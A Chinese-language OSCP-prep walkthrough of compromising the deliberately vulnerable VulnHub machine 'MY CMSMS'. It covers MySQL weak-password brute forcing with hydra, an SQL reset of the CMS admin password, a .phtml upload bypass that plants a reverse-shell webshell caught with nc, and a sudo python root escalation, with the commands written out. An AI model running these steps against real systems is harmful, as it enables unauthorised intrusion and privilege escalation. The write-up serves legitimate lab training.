靶场实战(18):OSCP备考之VulnHub MY CMSMS

admin 2024年1月19日11:46:34评论16 views字数 4844阅读16分8秒阅读模式

打靶思路

  1. 资产发现

    1. 主机发现

    2. 服务发现

  2. 漏洞发现(获取权限)

    1. 80端口/HTTP服务

      1. 组件漏洞

      2. URL漏洞

    2. 3306端口/MySQL服务

      1. 组件漏洞

      2. 口令漏洞

    3. 80端口/HTTP服务

      1. URL漏洞

      2. URL漏洞

  3. 提升权限

    1. www-data用户

      1. sudo

      2. suid

      3. cron

      4. 内核提权

      5. 信息收集

    2. armour用户

      1. sudo    

1、资产发现

1.1、主机发现

本次靶场MY CMSMS[1]指定IP,不涉及主机发现过程。

1.2、服务发现

使用命令sudo -u root nmap 172.16.33.103 -n -Pn -p- --reason -sV -sC -O,发现主机开放的端口、提供的服务、使用的组件、组件的版本。

靶场实战(18):OSCP备考之VulnHub MY CMSMS

开放的端口

提供的服务

使用的组件

组件的版本

22/tcp

ssh

OpenSSH

7.9p1

80/tcp

http

Apache httpd

2.4.38

3306/tcp

mysql

MySQL

8.0.19

33060/tcp        

mysqlx?

?

?

-

os

Debian Linux

?

2、漏洞发现(获取权限)

按照高频高危排序,优先排查HTTP服务,其次是MySQL服务,最后是SSH服务。

2.1、80端口/HTTP服务

2.1.1、组件漏洞

0x01、Web中间件

使用命令searchsploit Apache httpd 2.4.未发现Web中间件Apache httpd 2.4.38的Nday漏洞。

靶场实战(18):OSCP备考之VulnHub MY CMSMS

0x02、Web框架

通过直接访问网页、Wappalyzer插件等方式,发现Web框架CMS Made Simple 2.2.13,但是使用命令searchsploit CMS Made Simple 2.2.未发现存在Nday漏洞。

靶场实战(18):OSCP备考之VulnHub MY CMSMS

靶场实战(18):OSCP备考之VulnHub MY CMSMS

2.1.2、URL漏洞

0x01、直接访问

浏览器打开http://172.16.33.103,是CMSMS的介绍页面。

靶场实战(18):OSCP备考之VulnHub MY CMSMS

0x02、目录扫描

使用命令dirsearch -u http://172.16.33.103/ -x 403发现大量页面,逐个查看,只有/admin/login.php/phpmyadmin有价值。

靶场实战(18):OSCP备考之VulnHub MY CMSMS

使用浏览器访问http://172.16.33.103/admin/login.php,是个登录页面。

在找回密码功能处,使用账号OneMoreThink得到响应User Not Found,说明不存在该用户;使用账号admin没有得到响应User Not Found,说明存在该用户。最终成功枚举出网站的真实用户。

在登录功能处,使用字典/usr/share/seclists/Passwords/Common-Credentials/best110.txt爆破admin账号的密码,失败了。

靶场实战(18):OSCP备考之VulnHub MY CMSMS

靶场实战(18):OSCP备考之VulnHub MY CMSMS

靶场实战(18):OSCP备考之VulnHub MY CMSMS

靶场实战(18):OSCP备考之VulnHub MY CMSMS

靶场实战(18):OSCP备考之VulnHub MY CMSMS

靶场实战(18):OSCP备考之VulnHub MY CMSMS

使用浏览器访问http://172.16.33.103/phpmyadmin,发现需要HTTP Basic Authentication。使用字典/usr/share/seclists/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt爆破HTTP Basic Authentication,失败了。

BurpSuite也可以分别导入账号和密码爆破HTTP Basic Authentication,详见如何使用burpsuite爆破tomcat的账号和密码(有base64编码)[2]

靶场实战(18):OSCP备考之VulnHub MY CMSMS

靶场实战(18):OSCP备考之VulnHub MY CMSMS

靶场实战(18):OSCP备考之VulnHub MY CMSMS

靶场实战(18):OSCP备考之VulnHub MY CMSMS

0x03、模糊测试

基于目前已知情况,没有对网站的目录和文件进行FUZZ的必要。

0x04、切换协议

浏览器访问https://172.16.33.103:80/失败,说明网站没有使用SSL协议。

靶场实战(18):OSCP备考之VulnHub MY CMSMS

2.2、3306端口/MySQL服务

2.2.1、组件漏洞

使用命令searchsploit MySQL 8.未发现组件MySQL 8.0.19的Nday漏洞。

靶场实战(18):OSCP备考之VulnHub MY CMSMS

2.2.2、口令漏洞

使用命令hydra -C /usr/share/seclists/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt 172.16.33.103 mysql发现弱口令root/root

靶场实战(18):OSCP备考之VulnHub MY CMSMS

使用命令mysql -h 172.16.33.103 -P 3306 -u root -proot登录MySQL服务后,使用命令show databases;查看有哪些数据库,发现cmsms_db

使用命令use cmsms_db;选择数据库后使用命令show tables;查看有哪些数据表,发现cmsms_users

使用命令select * from cms_users;查看所有字段和记录,发现账号密码admin/fb67c6d24e756229aab021cea7605fb3

靶场实战(18):OSCP备考之VulnHub MY CMSMS

靶场实战(18):OSCP备考之VulnHub MY CMSMS

使用工具hash-identifier查询fb67c6d24e756229aab021cea7605fb3的加密类型,大概率是MD5。但是使用CMD5[3]SOMD5[4]均无法破解。

靶场实战(18):OSCP备考之VulnHub MY CMSMS

靶场实战(18):OSCP备考之VulnHub MY CMSMS

靶场实战(18):OSCP备考之VulnHub MY CMSMS

本来想搜下加密算法,然后做个彩虹表爆破的。但是官网CMS Made Simple™ Download Section[5]下载的源码,只有一个8M的php文件,实在是太大了,找了一会都没找到加密算法。

后来复盘时发现是下错源码了,我下载了部署包,实际上应该去SVN那儿下载源码包。

靶场实战(18):OSCP备考之VulnHub MY CMSMS

最后阴差阳错在网上找到后台修改密码的方法CMS Made Simple Admin password recovery[6],不得不说教程写得真好,还录了视频,得点个赞。

使用命令use cmsms_db;选择数据库后,使用命令update cms_users set password = (select md5(CONCAT(IFNULL((SELECT sitepref_value FROM cms_siteprefs WHERE sitepref_name = 'sitemask'),''),'password'))) where username = 'admin';admin用户的CMSMS后台密码改为password,最终成功登录CMSMS后台。

靶场实战(18):OSCP备考之VulnHub MY CMSMS

靶场实战(18):OSCP备考之VulnHub MY CMSMS

2.3、80端口/HTTP服务

2.3.1、URL漏洞

后台getshell首选文件上传或文件编辑功能,通过写入webshell获取权限,一番浏览发现Content – File Manager有文件上传功能。

靶场实战(18):OSCP备考之VulnHub MY CMSMS

准备好反弹webshell但上传失败,报错是acceptFileName,文件名有问题。好家伙,还有报错,这是指导我们怎么绕过呢。既然是文件名有问题,那应该是做了文件名后缀限制,希望只是限制了后缀黑名单吧。

靶场实战(18):OSCP备考之VulnHub MY CMSMS

尝试用黑名单外且仍能被当作脚本文件执行的文件后缀来绕过上传限制,最终使用.phtml成功上传。响应中还有上传后的文件URL,这是怕我们找不到呢。

靶场实战(18):OSCP备考之VulnHub MY CMSMS

本地使用命令nc -nvlp 33103监听,然后访问URL就能触发反弹shell,最终获得的是www-data用户的权限。

靶场实战(18):OSCP备考之VulnHub MY CMSMS

2.3.2、URL漏洞

网上查到还可以用User Defined Tags功能获得反弹shell,这里做个记录。

靶场实战(18):OSCP备考之VulnHub MY CMSMS

靶场实战(18):OSCP备考之VulnHub MY CMSMS

靶场实战(18):OSCP备考之VulnHub MY CMSMS

靶场实战(18):OSCP备考之VulnHub MY CMSMS

靶场实战(18):OSCP备考之VulnHub MY CMSMS

靶场实战(18):OSCP备考之VulnHub MY CMSMS

3、提升权限

使用命令which pythonwhich python3查看系统中有哪个版本的python,发现两个都有。使用命令python3 -c 'import pty; pty.spawn("/bin/bash")'获得交互式shell。

靶场实战(18):OSCP备考之VulnHub MY CMSMS

3.1、www-data用户

3.1.1、sudo

使用命令sudo -l查看当前用户能以谁的权限执行什么命令,结果需要输入当前用户的密码。因为我们没有,所以只能放弃。

靶场实战(18):OSCP备考之VulnHub MY CMSMS

3.1.2、suid

使用命令find / -perm -u=s -type f -ls 2>/dev/null查看哪些命令或脚本在执行时会以属主的权限来执行,发现了/home/armour/binary.sh脚本。

靶场实战(18):OSCP备考之VulnHub MY CMSMS

满心欢喜以为能以脚本属主root用户的权限来执行命令,结果使用命令/home/armour/binary.sh id发现用的还是当前用户的权限。可能root权限的作用只是执行echo吧,执行$1用的还是当前用户的权限?

靶场实战(18):OSCP备考之VulnHub MY CMSMS

3.1.3、cron

使用命令find /var/spool/cron/ -type f -ls 2>/dev/null没有发现计划任务,应该是没有查看权限。

使用命令find /etc/*cron* -type f -ls 2>/dev/null -exec cat {} ; > /tmp/cron.txt ; grep '*' /tmp/cron.txt发现一些计划任务,但都没有引用当前用户具有read和write权限的命令或脚本,所以没法用于提权。

使用命令find / -perm -o=rw ! -path "/proc/*" -type f -ls 2>/dev/null发现一些other用户具有read和write权限的命令或脚本,但都不像是会被计划任务引用的。

靶场实战(18):OSCP备考之VulnHub MY CMSMS

3.1.4、内核提权

使用命令uname -r发现系统内核版本是4.19.0-8-amd64,使用命令cat /etc/*release发现系统发行版本是Debian Linux 10

靶场实战(18):OSCP备考之VulnHub MY CMSMS

使用命令searchsploit 4. Debian Linux 10未发现当前内核版本和发行版本存在内核提权漏洞。

靶场实战(18):OSCP备考之VulnHub MY CMSMS

3.1.5、信息收集

使用命令find /root/ -type f -ls 2>/dev/null未发现特权用户目录下的敏感文件,使用命令find /home/ -type f -ls 2>/dev/null未发现普通用户目录下存在敏感文件,使用命令find /tmp/ -type f -ls 2>/dev/null未发现临时目录下存在敏感文件,使用命令ls -la /var/www/html/发现admin目录有点意思,使用命令ls -la /var/www/html/admin/发现.htaccess.htpasswd文件有点意思。

靶场实战(18):OSCP备考之VulnHub MY CMSMS

使用cat命令查看两个文件,发现/var/www/html/admin/.htpasswd中存在一串神秘代码TUZaRzIzM1ZPSTVGRzJESk1WV0dJUUJSR0laUT09PT0=    

靶场实战(18):OSCP备考之VulnHub MY CMSMS

使用CyberChef[7]的魔法棒自动解码,最终获得明文armour:Shield@123

靶场实战(18):OSCP备考之VulnHub MY CMSMS

靶场实战(18):OSCP备考之VulnHub MY CMSMS

靶场实战(18):OSCP备考之VulnHub MY CMSMS

使用命令ssh [email protected]登录失败,SSH服务限制了只允许密钥登录。那就使用命令su armour切换到armour用户吧。

靶场实战(18):OSCP备考之VulnHub MY CMSMS

靶场实战(18):OSCP备考之VulnHub MY CMSMS

3.2、armour用户

3.2.1、sudo

使用命令sudo -l查看当前用户能以谁的权限执行什么命令,发现当前用户能以root用户的权限执行/usr/bin/python命令。

靶场实战(18):OSCP备考之VulnHub MY CMSMS

那就使用命令sudo -u root /usr/bin/python -c 'import pty; pty.spawn("/bin/bash")'以root用户的权限执行返回shell环境的命令吧,最终返回了root用户权限的shell,成功实现提权。

靶场实战(18):OSCP备考之VulnHub MY CMSMS

参考资料

[1]

MY CMSMS: https://www.vulnhub.com/entry/my-cmsms-1,498/

[2]

如何使用burpsuite爆破tomcat的账号和密码(有base64编码): https://blog.csdn.net/weixin_50464560/article/details/119273112

[3]

CMD5: https://cmd5.com/

[4]

SOMD5: https://www.somd5.com/

[5]

CMS Made Simple™ Download Section: http://www.cmsmadesimple.org/downloads/cmsms

[6]

CMS Made Simple Admin password recovery: https://cmscanbesimple.org/blog/cms-made-simple-admin-password-recovery

[7]

CyberChef: https://gchq.github.io/CyberChef/

原文始发于微信公众号(OneMoreThink):靶场实战(18):OSCP备考之VulnHub MY CMSMS

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月19日11:46:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   靶场实战(18):OSCP备考之VulnHub MY CMSMShttp://cn-sec.com/archives/2408693.html

发表评论

匿名网友 填写信息